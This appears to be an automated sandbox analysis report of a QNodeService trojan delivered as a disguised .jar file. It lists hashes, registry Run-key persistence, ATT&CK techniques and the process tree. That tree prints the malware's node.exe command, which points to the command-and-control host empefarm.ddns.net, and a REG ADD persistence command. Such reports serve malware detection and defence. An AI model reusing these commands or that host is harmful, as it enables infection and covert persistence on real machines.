qnodeservice | 0d7b48039793c6f044e4d7b6f42898adbe1e9d722ec37a12c7073cdfffa63db6

General

Target

list of equipment_puma_pdf.jar
Size

258KB
MD5

9d5548aa1a52a4fd8cc9ad1c64a23a09
SHA1

72474bd84027c0aa72b09c3f48e1c57ecf935bb2
SHA256

0d7b48039793c6f044e4d7b6f42898adbe1e9d722ec37a12c7073cdfffa63db6
SHA512

c73296d0b6cd972a90eef0e7a4c32874cf190cf2d545f2f1338ce2d3bf7dfc784a46bf514be6b7d2ebb92124e610c86667a53f7d3ebe5c31a5791a6ef8e90eb6

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3580	node.exe
788	node.exe
3184	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\8aa35a81-23a1-45e0-be91-c4ef6db99f6f = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad98-162.dat	js
behavioral2/files/0x000100000001ad98-165.dat	js
behavioral2/files/0x000100000001ad98-169.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3580	node.exe
3580	node.exe
3580	node.exe
3580	node.exe
788	node.exe
788	node.exe
788	node.exe
788	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe
3184	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 3516	3956	java.exe	73
PID 3956 wrote to memory of 3516	3956	java.exe	73
PID 3516 wrote to memory of 3580	3516	javaw.exe	77
PID 3516 wrote to memory of 3580	3516	javaw.exe	77
PID 3580 wrote to memory of 788	3580	node.exe	79
PID 3580 wrote to memory of 788	3580	node.exe	79
PID 788 wrote to memory of 3184	788	node.exe	80
PID 788 wrote to memory of 3184	788	node.exe	80
PID 3184 wrote to memory of 2180	3184	node.exe	82
PID 3184 wrote to memory of 2180	3184	node.exe	82
PID 2180 wrote to memory of 1648	2180	cmd.exe	83
PID 2180 wrote to memory of 1648	2180	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\list of equipment_puma_pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3356b8c6.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain empefarm.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js --hub-domain empefarm.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:788
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kqDsWh\boot.js --hub-domain empefarm.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3184
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8aa35a81-23a1-45e0-be91-c4ef6db99f6f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2180
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "8aa35a81-23a1-45e0-be91-c4ef6db99f6f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1648

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/788-166-0x0000001D75AC0000-0x0000001D75AC1000-memory.dmp

Filesize
4KB

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memory/3184-170-0x000000A1111C0000-0x000000A1111C1000-memory.dmp

Filesize
4KB

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memory/3580-163-0x000000AF59080000-0x000000AF59081000-memory.dmp

Filesize
4KB

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